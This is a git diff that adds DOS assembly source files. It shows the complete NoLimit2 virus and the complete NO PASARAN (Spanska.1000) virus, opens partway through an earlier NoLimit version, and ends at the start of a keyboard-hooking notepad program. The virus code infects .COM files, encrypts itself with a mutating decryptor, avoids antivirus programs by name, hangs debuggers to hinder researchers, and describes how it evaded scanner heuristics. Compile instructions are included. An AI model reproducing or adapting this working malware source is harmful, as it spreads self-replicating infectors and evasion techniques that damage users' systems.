; Jump to EOF. + Cwd ; + Xor Cx,Cx ; + Int 21h ; + + Sub Ax,3 ; Calculate the Jump and the + Mov CallPtr[BP+1],Ax ; decryptor offset values. + Add Ax,(Offset Decr+0ffh) ; + Mov DecrOfs[Bp],Ax ; + + Call EncryptIt ; Call Encryption engine. + + Mov Ah,40h ; Write the decoder to the + Lea Dx,MainVir[Bp] ; end of the file. + Mov Cx,MainLen ; + Int 21h ; + + Mov Ah,40h ; And append the encrypted + Lea Dx,EndOfVir[BP] ; main virus body to it + Mov Cx,DecrLen ; also. + Int 21h ; + + Mov Ax,4200h ; Jump to the beginning of + Cwd ; the file. + Xor Cx,Cx ; + Int 21h ; + + Mov Ah,40h ; And write the jump to the + Lea Dx,CallPtr[BP] ; over the first 4 bytes of + Mov Cx,4 ; the file. + Int 21h ; + + Call Close ; Call close routine. + +Ready: Mov Ah,1ah ; Restore the DTA. + Mov Dx,80h ; + Int 21h ; + + Pop Ax ; Restore error register. + + Ret ; Return to host (at 100h). + +Close: Pop Si + + pop di ; Restore FHT offset again. + pop ds ; + + or b [di+6],40h ; Do not change file date/time + ; stamps. + + pop ax ; Restore file attributes. + mov b [di+4],al ; + + Mov Ah,3eh ; Close file. + Int 21h ; + + mov ds,cs ; Restore Ds segment. + + Push Si + Ret + +CallPtr Db 0e9h,0,0 ; Here the jump is generated. + +FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker. + +OrgPrg: Int 20h ; Original 4 bytes of the + Nop ; host program. + Nop ; + +EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a + Mov Ds,Ax ; random value). + Mov Ah,B Ds:[046ch] ; + + Mov Ds,Cs ; If Ah is zero, goto + Cmp Ah,0 ; EncryptIt + Je EncryptIt ; + +GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body + Lea Si,Decr[Bp] ; to the address just at the + Lea Di,EndOfVir[Bp] ; end of the virus. + Mov Cx,DecrLen ; +Encrypt: Lodsb ; + Xor Al,Ah ; + Stosb ; + Loop Encrypt ; + + Xor B Decrypt[Bp],2 ; Make the Xor variable. + + Test Ah,4 ; Make the Loop variable + Jc NoGarble ; (xor works like a switch + Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h). + + Xchg Ah,Al ; Read the different + And Ax,0003h ; Si, Di, Bx instructions + Mov Si,Ax ; from the table and store + Add Si,PolyTable ; them into the decrytor, thus + Add Si,Bp ; making it recognizable only + Lodsb ; at 4 bytes. (or nibble + Mov B MainVir[Bp],Al ; checking is usable). + Add Si,3 ; + Lodsb ; + Mov B Decrypt[Bp+1],Al ; + Add Si,3 ; + Lodsb ; + Mov B Incer[Bp],Al ; + +NoGarble: Ret ; Return to called + +; Table with functions for polymorphing + +PolyTable Equ $ + Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si + Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si + Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si + + DB Version ; Virus version number + +DecrLen Equ $-Decr + +EndOfVir Equ $ diff --git a/n/NOLIMIT2.A86 b/n/NOLIMIT2.A86 new file mode 100755 index 0000000..93de61c --- /dev/null +++ b/n/NOLIMIT2.A86 @@ -0,0 +1,280 @@ +; +; NoLimit2 Virus by John Tardy / TridenT +; +; Limited version of Servant Virus +; +; Bugs Fixed from 1: +; With encryption, not all possibilities were used. Solved. + +Version Equ 2 ; Initial release. + + Org 0h ; Creates a .BIN file. + +; This piece of code is located at the begin of the file + +Start: Jmp MainVir ; Jump to the main virus. + + Db '*' ; Infection marker. + +; This will be appended to the victim + +MainVir: Lea Si,Decr ; This is the decryptor, which +DecrOfs Equ $-2 ; is mutated from the main + Mov Cx,DecrLen ; virus. It uses a simple xor +Decrypt: Xor B [Si],0 ; algorithm. It uses three +DecVal Equ $-1 ; different index regs, Si, Di +Incer: Inc Si ; or Bx. The Xor OpCode can be +LoopType: Loop Decrypt ; 80h or 82h and it's Loop or +MainLen Equ $-Mainvir ; LoopNz. + +; From here everything is encrypted + +Decr: Call On1 ; Get Offset of the appended +On1: Pop BP ; virus by pushing the call on + Sub BP,On1 ; the stack and retrieve the + ; address. + + Mov W TrapIt[Bp],KillDebug ; This routine restores the + Lea Si,OrgPrg[Bp] ; beginning of the original +TrapIt Equ $-2 ; file, except when run from + Mov Di,100h ; a debugger. It will then + Push Di ; put the routine at + Push Ax ; KillDebug in place of that, + Movsw ; this locking the system + Movsw ; after infection and + Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN. + Mov W TrapIt[Bp],OrgPrg ; + + Mov Ah,19h ; We don't want to infect + Int 21h ; programs on floppy drive, + Cmp Al,2 ; we then go to NoHD. + Jb NoHD ; + + Mov Ah,1ah ; Use a new DTA. + Mov Dx,0fd00h ; + Int 21h ; + + In Al,21h ; This makes DOS DEBUG to + Or Al,2 ; hang and thus making + Out 21h,Al ; beginning virus-researchers + Xor Al,2 ; a hard time. + Out 21h,Al ; + + Mov Ah,4eh ; Search a .COM file in the +Search: Lea Dx,FileSpec[BP] ; current directory. + Xor Cx,Cx ; + Int 21h ; + + Jnc Found ; If found, goto found, +NoHD: Jmp Ready ; else goto ready. + +KillDebug: Cli ; The routine that will be + Jmp KillDebug ; activated by the antidebug + ; part. + + Db '[NoLimit2] John Tardy / Trident ' + +; Here follows a table of filenames to avoid with infecting. + +Tabel Db 'CA' ; Catcher (Gobbler). + Db 'VA' ; Validate (McAfee). + Db 'GU' ; Guard (Dr. Solomon). + Db 'CO' ; Command.Com (Microsoft). + Db '4D' ; 4Dos (JP Software). + Db 'VS' ; VSafe (CPav). + Db 'TB' ; TbDel (Esass). +TabLen Equ $-Tabel + + +Found: Mov Bx,[0fd1eh] ; This routine checks if + Lea Si,Tabel[Bp] ; the candidate file begins + Mov Cx,TabLen/2 ; with the chars in the table +ChkNam: Lodsw ; above. If so, it goes to + Cmp Ax,Bx ; SearchNext. + Je SearchNext ; + Loop ChkNam ; + + mov dx,0fd1eh ; Open the file with only + Mov Ax,3d00h ; read access. + Int 21h ; + + Xchg Ax,Bx ; Put Filehandle to BX. + + Mov Ah,45h ; Duplicate Filehandle and + Int 21h ; use the new one (confuses + Xchg Ax,Bx ; some resident monitoring + ; software (TBFILE)). + + mov Ax,1220h ; This is a tricky routine + push bx ; used to get the offset + int 2fh ; to the File Handle Table, + mov bl,es:[di] ; where we can change + Mov Ax,1216h ; directly some things. + int 2fh ; + pop bx ; + mov ds,es ; + + mov byte ptr [di+2],2 ; File now open with write + ; access. + + mov al,b [di+4] ; Store old file attributes + mov b [di+4],0 ; and clear it. + push ax ; + + push ds ; Store FHT on the stack. + push di ; + + mov ds,cs ; Restore old Ds and Es + mov es,cs ; (with .COM equal to Cs). + + Mov Ah,3fh ; Read the first 4 bytes + Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed + Mov Cx,4 ; (the call remember?)). + Int 21h ; + + Mov Ax,OrgPrg[BP] ; Check if it is a renamed + Cmp Ax,'ZM' ; .EXE file. If so, goto + Je ExeFile ; ExeFile. + Cmp Ax,'MZ' ; + Je ExeFile ; + + Cmp B OrgPrg[3][Bp],'*' ; Check if already infected. + + Jne Infect ; If not so, goto Infect. + +ExeFile: Call Close ; Call file close routine. + +SearchNext: Mov Ah,4fh ; And search the next victim. + Jmp Search ; + +Infect: Mov Ax,4202h ; Jump to EOF. + Cwd ; + Xor Cx,Cx ; + Int 21h ; + + Sub Ax,3 ; Calculate the Jump and the + Mov CallPtr[BP+1],Ax ; decryptor offset values. + Add Ax,(Offset Decr+0ffh) ; + Mov DecrOfs[Bp],Ax ; + + Call EncryptIt ; Call Encryption engine. + + Mov Ah,40h ; Write the decoder to the + Lea Dx,MainVir[Bp] ; end of the file. + Mov Cx,MainLen ; + Int 21h ; + + Mov Ah,40h ; And append the encrypted + Lea Dx,EndOfVir[BP] ; main virus body to it + Mov Cx,DecrLen ; also. + Int 21h ; + + Mov Ax,4200h ; Jump to the beginning of + Cwd ; the file. + Xor Cx,Cx ; + Int 21h ; + + Mov Ah,40h ; And write the jump to the + Lea Dx,CallPtr[BP] ; over the first 4 bytes of + Mov Cx,4 ; the file. + Int 21h ; + + Call Close ; Call close routine. + +Ready: Mov Ah,1ah ; Restore the DTA. + Mov Dx,80h ; + Int 21h ; + + Pop Ax ; Restore error register. + + Ret ; Return to host (at 100h). + +Close: Pop Si + + pop di ; Restore FHT offset again. + pop ds ; + + or b [di+6],40h ; Do not change file date/time + ; stamps. + + pop ax ; Restore file attributes. + mov b [di+4],al ; + + Mov Ah,3eh ; Close file. + Int 21h ; + + mov ds,cs ; Restore Ds segment. + + Push Si + Ret + +CallPtr Db 0e9h,0,0 ; Here the jump is generated. + +FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker. + +OrgPrg: Int 20h ; Original 4 bytes of the + Nop ; host program. + Nop ; + +EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a + Mov Ds,Ax ; random value). + Mov Ax,W Ds:[046ch] ; + Xchg Al,Ah ; + + Push Ax + Mov Ah,2ch ; + Int 21h ; + Pop Ax ; + Not Cx ; + Add Ax,Cx ; + Adc Ax,Dx ; + Mov Ds,Cs ; + + Test Al,1 ; + Jnz GenKey ; + Xor B Decrypt[Bp],2 ; Make the Xor variable. + +GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body + Lea Si,Decr[Bp] ; to the address just at the + Lea Di,EndOfVir[Bp] ; end of the virus. + Mov Cx,DecrLen ; + Push Ax ; +Encrypt: Lodsb ; + Xor Al,Ah ; + Stosb ; + Loop Encrypt ; + + Pop Ax ; + + Test Ah,2 ; Make the Loop variable + Jc NoGarble ; (xor works like a switch + Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h). + + Add Al,Ah ; Read the different + And Ax,0003h ; Si, Di, Bx instructions + Mov Si,Ax ; from the table and store + Add Si,PolyTable ; them into the decrytor, thus + Add Si,Bp ; making it recognizable only + Lodsb ; at 4 bytes. (or nibble + Mov B MainVir[Bp],Al ; checking is usable). + Add Si,3 ; + Lodsb ; + Mov B Decrypt[Bp+1],Al ; + Add Si,3 ; + Lodsb ; + Mov B Incer[Bp],Al ; + +NoGarble: Ret ; Return to called + +; Table with functions for polymorphing + +PolyTable Equ $ + Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si + Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si + Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si + + DB Version ; Virus version number + +DecrLen Equ $-Decr + +EndOfVir Equ $ diff --git a/n/NOPASARA.ASM b/n/NOPASARA.ASM new file mode 100755 index 0000000..1cc437b --- /dev/null +++ b/n/NOPASARA.ASM @@ -0,0 +1,667 @@ +; NO PASARAN virus version 2 by Spanska +; Called Spanska.1000 by AV people +; This is my first virus +; +;*********************************************************************** +; +; This virus is dedicated to all spanish and international young +; guys who fighted against fascist army during Spanish Civil War +; (1936-1939). They said "THEY SHALL NOT PASS!" +; +;********************************contact me at el_gato@rocketmail.com*** +; +; No flag with TBSCAN +; At the time it was released (january 97), was not detected by +; TBSCAN, FPROT, AVP, DrSolly FINDVIRUS in heuristic mode +; but by DrWeb in heuristic mode (i didn't know this program...) +; +; generation zero size: 3537 bytes +; virus size: 1000 bytes +; +; Compile it with TASM /m2 and TLINK /t +; +; Properties: +; simple .com runtime infector +; not destructive +; encrypted with variable key +; infects 7 files each run +; infects current directory, than upper directories +; when it reaches the root, it starts infecting all "level1" subdirectories +; doe not infect files >60,000 or <100 bytes, nor command.com +; the VGA graphic bomb (a fire effect) explodes when minutes=22 +; and seconds<30 (1/120) + +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h +; +;---------------fake host code-------------------- +; +hote: +call virus ;jump to viral code (avoid J flag) +signature db "lc" ;virus signature +nop ; +nop ;fake host +nop ; +nop ; +mov ah, 4ch ;finished +mov al,0 ;go to +int 21h ;DOS + +;********************************************************************** +; START OF VIRAL CODE +;********************************************************************** + +virus: ;virus starts here +jmp evite ;avoid next routine + +;=== simulation of a stosb === +;=== when outside decrypt loop === +;=== do not flag # === +baise_flag_cryptage: ;=== +mov [di], al ;=========>>> NO MORE FLAG "#" !!!!! +inc di ;=== +ret ;=== +;=================================== +; +;---------------get delta offset---------------------------- +; +evite: +call $+3 ;modified classic +delta: ;routine to +mov bp, sp ;avoid flag E +mov ax, [bp] ; +add word ptr [bp], decrypte-delta ;thanks Slacker's Theory +sub ax, offset delta ;of Code through Obscurity! +mov bp, ax +ret +; +;----------------------decrypting routine------------------------- +; +decrypte: +mov dl, [bp+offset clef] ;get actual key +mov cx, fin_cryptage - debut_cryptage ; +lea si, [bp+offset debut_cryptage] ; +mov di, si ; +xor_loop: ;decrypt loop +mov al, [si] ; +inc si ; +xor al, dl ; +call baise_flag_cryptage ;call the fake stosb to avoid flag # +loop xor_loop +; +;-----initialization to 0 of both infection and directory counters-------- +; +debut_cryptage: ;crypted zone starts here +mov byte ptr [bp+offset compteur], 0 ;infection counter +mov byte ptr [bp+offset phase], 0 ;directory counter +; +;-----------------------remember current repertory----------------------- +; +lea si, [bp+offset repert] ; +xor dl, dl ; +mov ah, 47h ; +int 21h ; +; +;-----------------DTA go to a predefined zone in memory------------------ +; +push 1a00h ;push/pop to +pop ax ;avoid flag F +lea dx, [bp+offset dta] ; +int 21h ; +; +;------------------------find first file--------------------------------- +; +recherche: +mov cx, 0007h ; +lea dx, [bp+offset file_type] ; +mov ax, 4e00h ; +int 21h ;file found? +jnc sauter_suivant ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper directory +; +;---------------------------find next file-------------------------------- +; +fichier_suivant: +lea dx, [bp+offset file_type] ; +mov ax, 4f00h ; +mov cx, 0007h ; +int 21h ;file found? +jnc saut5 ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper direcory +saut5: +; +;---------------verify if extension is really .com--------------------- +; (it's made to avoid flag S with tbscan) +; (and to avoid AVP detection 'cause AVP detects all combinations +; like .c?m, .?om..., BUT .c*) +; +sauter_suivant: +mov cx, 13d ;max size of a file name (not really, but +lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere) +compare: ;loop for detecting start of the extension +lodsb ;letter in al +cmp al, "." ;is it a point? +jne compare ;no => test next letter +inc si ;yes => si points on second extension letter +cmp word ptr [si], "MO" ;second and third letters are "OM"? +jne fichier_suivant ;no => find next file +; +;-------------------verify if it's command.com---------------------------- +; +cmp word ptr [bp+offset dta+1eh+2], "MM" +je fichier_suivant ;yes => find next file +; +;------------attributes to 0 to infect special files--------------------- +; +lea dx, [bp+offset dta+1eh] ;file name pointed with dx +push 4301h ;push/pull to +pop ax ;avoid flag F +xor cx, cx ; +int 21h ; +; +;---------------------------open file------------------------------------ +; +mov ax, 3D02h ; +lea dx, [bp+offset dta+1eh] ; +int 21h ;file found? +jnc saut2 ;yes => c=0, let's continue +jmp remise_en_etat ;no => arrange file and close it +saut2: ; +mov [bp+offset handle],ax ; +; +;-----------------read 5 first bytes of the file--------------------- +; +xchg ax, bx ; +mov cx, 5 ; +mov ax, 3F00h ; +lea dx, [bp+offset contenu] ;bytes go to "contenu" zone +int 21h ;file found? +jnc saut3 ;yes => c=0, let's continue +jmp remise_en_etat ;no => arrange file and close it +saut3: ; +; +;------------------is the file already infected?----------------------- +; +cmp word ptr [bp+offset contenu+3], "cl" ;compare with signature +jnz saut4 ;not infected => z=0, let's continue +jmp remise_en_etat ;already infected => arrange file and close +saut4: ; +; +;-----------------------is the size correct?--------------------------- +; +cmp word ptr [bp+offset dta+1ah], 60000 ;compare size with 60000 +jna pas_trop_gros ;is it bigger? +jmp remise_en_etat ;yes => find next file +pas_trop_gros: ;no => other verification +cmp word ptr [bp+offset dta+1ah], 100 ;compare size with 100 +jnb verif_ok ;if >100 let's continue +; +;--------arrange file and close it in case of non-infection------------- +; +remise_en_etat: +mov ah, 3Eh ; +int 21h ;close it +; +;------------------restore attributes----------------------------------- +; +lea dx, [bp+offset dta+1eh] ; +xor ch, ch ; +mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in the DTA +push 4301h ;push/pop to +pop ax ;avoid flag F +int 21h ; +; +;----------after arranging the file, let's find another one------------- +; +jmp fichier_suivant ;go to find-next routine +; +;-------------------disk file pointer at the end------------------- +; +verif_ok: +mov ax, 4202h ; +xor cx, cx ; +mov dx, cx ; +int 21h ; +; +;----------------------infection routine------------------------------ +; +;first, let's write non-encrypted part +; +mov ax, 4000h ; +mov cx, debut_cryptage - virus ; +lea dx, [bp+offset virus] ; +int 21h ; +; +;second, let's crypt next part in memory +; +mov cl, [bp+offset cinq_octets+1] ;cl=new key +mov byte ptr [bp+offset clef_temp], cl ;on a temporary zone +lea si, [bp+offset debut_cryptage] ;si=start of the crypted zone +lea di, [bp+offset zone_de_travail] ;di=temporary mem zone for crypting +xchg cl, dl ;key in dl +mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt +crypte_et_transfere: ; +lodsb ; +xor al, dl ;classic XOR crypting loop +stosb ; +loop crypte_et_transfere ; +; +;third, disk writing of the crypted zone +; +mov ax, 4000h ; +mov cx, fin_cryptage - debut_cryptage ;number of bytes to write +lea dx, [bp+offset zone_de_travail] ; +int 21h ; +; +;------write on disk real 5 first bytes of the file+new crypt key-------- +;----from "contenu" zone in memory to "cinq_octets" zone on the disk)---- +; +;1) move disk file pointer to good zone +; +xor cx, cx ; +mov dx, word ptr [bp+offset dta+1ah] ;non-infected file size in dx +add dx, cinq_octets - virus ;add offset of good zone +mov ax, 4200h ; +int 21h ; +; +;2) move memory pointer to good zone, and transfer +; +mov cx, 6 ;we will write 6 bytes +lea dx, [bp+offset contenu] ;("contenu" + "clef_temp") +push 4000h ;so 5 first bytes + new key +pop ax ;this push/pop is not necessary +int 21h ; +; +;--overwrite 5 first bytes on the disk by jump to virus code + signature--- +; +;1) move disk file pointer to start of the file +; +xor cx,cx ; +mov dx, cx ; +mov ax, 4200h ; +int 21h ; +; +;2) calculate initial jump and write all on a temp zone in memory +;(NB: we use the "contenu" memory zone which is not more util) +; +mov byte ptr [bp+offset contenu], 0e8h ;E8=opcode of CALL +mov ax, word ptr [bp+offset dta+1ah] ;ax=file size +sub ax, 3 ;this is because of the CALL +mov word ptr [bp+offset contenu+1], ax ;write deplacement +mov word ptr [bp+offset contenu+3], "cl" ;write signature +; +;3) overwrite 5 first bytes on the file +; +mov cx,5 ; +lea dx, [bp+offset contenu] ; +mov ax, 4000h ; +int 21h ; +; +;-------------------restore time/date of the file------------------------ +; +mov dx, word ptr [bp+offset dta+18h] ;date in dx +mov cx, word ptr [bp+offset dta+16h] ;time in cx +push 5701h ;push/pop +pop ax ;to avoid flag F +int 21h ; +; +;-----------------------------close file--------------------------------- +; +mov ah, 3Eh ; +int 21h ; +; +;------------------------restore file attributes----------------------- +; +lea dx, [bp+offset dta+1eh] ; +xor ch, ch ; +mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in DTA +push 4301h ; +pop ax ; +int 21h ; +; +;--------------verify how many files we have infected------------------ +; +mov byte ptr cl, [bp+offset compteur] ;infection counter in cl +inc cl ;one more +cmp cl, 7 ;have we infected 7 files? +je attendre ;yes => let's stop +mov byte ptr [bp+offset compteur], cl ;no => write new value of counter +; +;-----------------------let's infect a new file------------------------- +; +jmp fichier_suivant ;infect next file +; +;---------------------climb to upper directory-------------------------- +; +rep_sup: +lea dx, [bp+offset dot] ;let's go to ".." repertory +mov ah, 3bh ; +int 21h ;are we in the root? +jc on_redescend ;yes => c=1, let's go down now +jmp recherche ;no => find first file +; +;---if we are in root, let's go to all "first-level" subdirectories----- +; +on_redescend: ; +mov ah, 4eh ;find first file +mov cx, 16 ;with repertory attribute +lea dx, [bp+offset dir_masque] ;called "*.*"... +int 21h ; +jc attendre ;there are no subdirectory => stop + +cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)? +je le_premier ;phase=0 => do not find next dir + +xor bh, bh ; +mov bl, byte ptr [bp+offset phase] ;bx=phase + +rep_suivant: ;loop to avoid all subdir already infected +mov cx, 16 ;rep attributes +mov ah, 4fh ;find next dir +lea dx, [bp+offset dir_masque] ; +int 21h ; +jc attendre ;there are no subdirectory => stop + +cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory? +jne rep_suivant ;no => find next + +dec bx ;this routine is made to infect +cmp bx, 0 ;directory "number phase" +jne rep_suivant ;if bx<>0, the subdir is already infected + +le_premier: +add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected + +lea dx, [bp+offset dta+1eh] ;so, let's change +mov ah, 3bh ;directory to it +int 21h ; + +jmp recherche ;and infect this new subdirectory +; +;-----in case of problem, or no more directory to infect, we go here------ +; +attendre: ; +; +;------------------DTA in the normal zone----------------------------- +; (to avoid perturbing host program) +; +push 1a00h ;push/pop +pop ax ;to avoid flag F +mov dx, 80h ;to 80h, the normal zone +int 21h ; +; +;------restore the directory in which we were when we started------------- +; +;primo, rapid climb until the root +; +remontee_finale: +lea dx, [bp+offset dot] ; +mov ah, 3bh ; +int 21h ; +jnc remontee_finale ;continue until we are in the root +; +;secundo, we go to the directory in which we were at start +; +lea dx, [bp+offset repert] ;we saved the dir in this zone +mov ax, 3B00h ;change dir +int 21h ; +; +;------replace 5 first bytes of the host in memory---------- +; +lea si, [bp+offset cinq_octets] ;original 5 bytes were stored here +mov ax, 101h ;classic trick to +dec ax ;avoid flag B +mov di, ax ;100h in DI for transfer +mov cx, 5 ;write 5 bytes +rep movsb ;transfer them +; +;--------------------does the bomb explode?--------------------- +; +mov ah, 2Ch ;internal clock: ch=hour et cl=minute +int 21h ; +cmp cl, 22d ;minutes = 22? +jne redonner_la_main ;no => return to host +cmp dh, 30d ;yes => test seconds +jb bombe ;if seconds <30 (1/120) the bomb explodes +; +;-----------------------return to host---------------------------- +; (remember the very first CALL: we have 103h on the stack) +; +redonner_la_main: +pop ax ;get 103h +sub ax, 3 ;we want 100h +push ax ;re-put it on stack (for the RET) +xor ax, ax ;a starting program +xor bx, bx ;likes to find all +xor cx, cx ;registers equals +xor dx, dx ;to zero. +ret ;on redonne la main au pauvre programme + +nop +nop ;just for fun: with these 3 nops, virus size is just 1000. +nop +; +;********************************************************************** +; CODE OF THE GRAPHIC BOMB: A FIRE EFFECT +;********************************************************************** +bombe: + +;--------------------------------VGA----------------------------------- + + mov ax, 13h ; + int 10h ;goto graphic mode + + +;------initialisation of the flame palette (black=>red=>white)---------- + + mov dx, 3c8h ;dx = palette port + xor al, al ;starting with color 0 + out dx, al ;write first color in the port + inc dx ;define all colors + + xor cx, cx ;component red start from 0 and augment +rouges: ;let's define colors from 0 to 62 + mov al, cl ;first component (red) equal to cl + out dx, al ;write on palette port + xor al, al ;others components (blue, green) to zero + out dx, al ;write blue component + out dx, al ;write green component + inc cx ;increment red component of color + cmp cx, 63 ;do cx reach 63? +jne rouges ;no => continue loop + + xor cx, cx ;component blue start from 0 and augment +jaunes: ;let's define colors from 63 to 125 + mov al, 63 ;component red equal to 63 + out dx, al ;write it + mov al, cl ;second component (blue) equal to cl + out dx, al ;write it + xor al, al ;third component (green) equal to zero + out dx, al ;write it + inc cx ;increment blue component of color + cmp cx, 63 ;do cx reach 63? +jne jaunes ;no => continue loop + + xor cx, cx ;component green start from 0 and augment +blancs: ;let's define colors from 126 to 188 + mov al, 63 ;components red and blue equal to 63 + out dx, al ;write red component + out dx, al ;write blue component + mov al, cl ;third component (green) equal to cl + out dx, al ;write it + inc cx ;increment green component of color + cmp cx, 63 ;do cx reach 63? +jne blancs ;no => continue loop + + mov cx, 198 ;we're going to define 198/3=66 next colors +blancfin: ;let's define colors from 189 to 254 + mov al, 255 ;all components are maximum + out dx, al ;so these colors are white +loop blancfin ; + + xor al, al ;define last color (number 255) + mov cx, 3 ;in black so we do not see the + rep out dx, al ;focus at the bottom of the flame + +;------------draw some focus at the bottom at random places-------------- + + mov ax, 0a000h ;video mem + mov es, ax ;segment in es +boucle: + mov di, (320*199)+5 ;start line 199, 5 pixels from the left side + +foyers: + call random ;bring back a random dl between 0 and 255 + cmp dl, 180 ;dl>180? + jb noir ;no => no focus, color to black + mov dl, 255 ;yes => a focus, color to white + jmp blanc ;avoid "no focus" routine + +noir: + xor dl, dl ;no focus, color to black +blanc: + mov al, dl ;load al with color + mov cx, 5 ;focuses are 5 pixels long + +zobi: + stosb ;draw focus pixel + add di, 319 ;and draw another pixel + stosb ;under the first + sub di, 320 ;(more beautiful) +loop zobi + + cmp di, (320*199)+30 ;the torch will be 30 pixels wide +jb foyers ;focus line not finished, so loop + +;--------real screen--->modification--->virtual screen------------------ + +mov di, 320*120 ;we use just the 80 bottom lines +lea si, [bp+offset ecran_virtuel] ;memory zone for calculations +mov dx, 80 ;line loop: 80 repetitions +xor ax, ax ;we gonna use ax, so put zero + +ecran: ;start of line loop + mov cx, 30 ;column loop: 30 repetitions + +modif: ;start of column loop + + mov al, es:[di] ;in al, color of current pixel + add al, es:[di+320] ;add pixel color just under it + adc ah, 0 ;result may be >255, so add carry + add al, es:[di+319] ;add pixel color under it to the left + adc ah, 0 ;add carry + add al, es:[di+641] ;add pixel 2 lines under it to the right + adc ah, 0 ;add carry + shr ax, 1 ;calculate the average color of these + shr ax, 1 ;4 pixels, dividing ax by 4 + cmp al, 0 ;is this average value black? + je bitnoir ;yes => do not decrement color + dec al ;no => decrement color + +bitnoir: + mov ds:[si], al ;write pixel with new color on memory + inc si ;next pixel on memory (virtual screen) + inc di ;next pixel on screen (real screen) + +loop modif ;finish the line + +add di, (320-30) ;on screen, go to first pixel of next line +dec dx ;dx = line counter, decrement it +cmp dx, 0 ;are we to the bottom of the screen? +jne ecran ;no => let's go to next line + +;----------------virtual screen--->real screen------------------------- + +mov di, (320*120) ;di points to line 120 on real screen +lea si, [bp+offset ecran_virtuel] ;si points to start of virtual screen + +xor dx, dx ;line counter to zero + +deux_flammes: + mov cx, 30 ;copy one line to the + rep movsb ;left side of the screen + sub si, 30 ;virtual: rewind to the start of the same line + add di, 230 ;real: draw the second torch at column 230+30+5 + mov cx, 30 ;copy the same line to the + rep movsb ;right side of the screen + add di, 30 ;real: start next line (NB: 295+30=320+5) + inc dx ;increment line counter + cmp dx, 79 ;copy 78 lines +jne deux_flammes + +;--------------put text cursor at line 5, column 1---------------------- + +mov dx, 0501h ;dh=line, dl=column +xor bh, bh ;page zero +mov ah,02h ;put cursor to position DH, DL +int 10h ;BIOS screen int + +;--------------------write text message on screen----------------------- + +mov ah, [bp+offset clignote] ;blink counter in ah +inc ah ;increment it +mov [bp+offset clignote], ah ;put it back to its place +cmp ah, 128 ;compare it to 128 (alternance time 50/50) +ja second_message ;inferior => write second message +lea si, [bp+offset message] ;superior => write first message +jmp premier_message ;and avoid second message +second_message: ; +lea si, [bp+offset message2] ;now write second message +premier_message: + +mov cx, 36 ;message lenght + +affiche_message: + lodsb ;load letter in al + mov bl, 254 ;and color in bl (white) + mov ah, 0Eh ; + int 10h ;write this letter on screen +loop affiche_message + + jmp boucle ;return to step "draw focus" + +;-----------random number creation routine (stolen somewhere)-------------- + +random proc near + mov ax, [bp+offset aleat] + mov dx, 8405h + mul dx + inc ax + mov [bp+offset aleat], ax + ret +random endp + +;--------------memory zones of the graphic effect------------------------ + +message db " Remember those who died for Madrid " ;message 1 +message2 db "No Pasaran! Virus v2 by Spanska 1997" ;message 2 +clignote db 00 ;blink counter +aleat dw 0AAh ;random seed + +; +;-------------------memory zones of the virus---------------------------- +; +dir_masque db "*.*",0 ;mask to find subdirectories +file_type db "*.c*",0 ;mask to find file type +dot db "..",0 ;mask to find upper directory +fin_cryptage: ;end of crypting +cinq_octets db 5 dup(90h) ;5 first bytes of host +clef db 0 ;crypt key +; +;--------these temporary memory zones are not written on disk------------ +; +phase db 0 ;to find the good subdirectories +compteur db 0 ;infection counter +handle db 0,0 ;file handle +contenu db 0,0,0,0,0 ;to read 5 first bytes of a file +clef_temp db 0 ;crypt key +dta db 48 dup (0AAh) ;DTA zone +repert db 64 dup (0FFh) ;starting directory +ecran_virtuel db 80*30 dup (00) ;virtual screen +zone_de_travail: ;used to crypt virus + +code ends + end hote + +; ------------------------(c) Spanska 1997------------------------------ diff --git a/n/NPAD.ASM b/n/NPAD.ASM new file mode 100755 index 0000000..2bceb2f --- /dev/null +++ b/n/NPAD.ASM @@ -0,0 +1,271 @@ +INTERRUPTS SEGMENT AT 0H ;This is where the keyboard interrupt + ORG 9H*4 ;holds the address of its service routine +KEYBOARD_INT LABEL DWORD +INTERRUPTS ENDS + +SCREEN SEGMENT AT 0B000H ;A dummy segment to use as the +SCREEN ENDS ;Extra Segment + +ROM_BIOS_DATA SEGMENT AT 40H ;BIOS statuses held here, also keyboard buffer + + ORG 1AH + HEAD DW ? ;Unread chars go from Head to Tail + TAIL DW ? + BUFFER DW 16 DUP (?) ;The buffer itself + BUFFER_END LABEL WORD + +ROM_BIOS_DATA ENDS + +CODE_SEG SEGMENT + ASSUME CS:CODE_SEG + ORG 100H ;ORG = 100H to make this into a .COM file +FIRST: JMP LOAD_PAD ;First time through jump to initialize routine + + CNTRL_N_FLAG DW 0 ;Cntrl-N on or off + PAD DB '_',499 DUP(' ') ;Memory storage for pad + PAD_CURSOR DW 0 ;Current position in pad + PAD_OFFSET DW 0 ;Chooses 1st 250 bytes or 2nd + FIRST_POSITION DW ? ;Position of 1st char on screen + ATTRIBUTE DB 112 ;Pad Attribute -- reverse video + SCREEN_SEG_OFFSET DW 0 ;0 for mono, 8000H for graphics + IO_CHAR DW ? ;Holds addr of Put or Get_Char + STATUS_PORT DW ? ;Video controller status port + OLD_KEYBOARD_INT DD ? ;Location of old kbd interrupt + +N_PAD PROC NEAR ;The keyboard interrupt will now come here. + ASSUME CS:CODE_SEG + PUSH AX 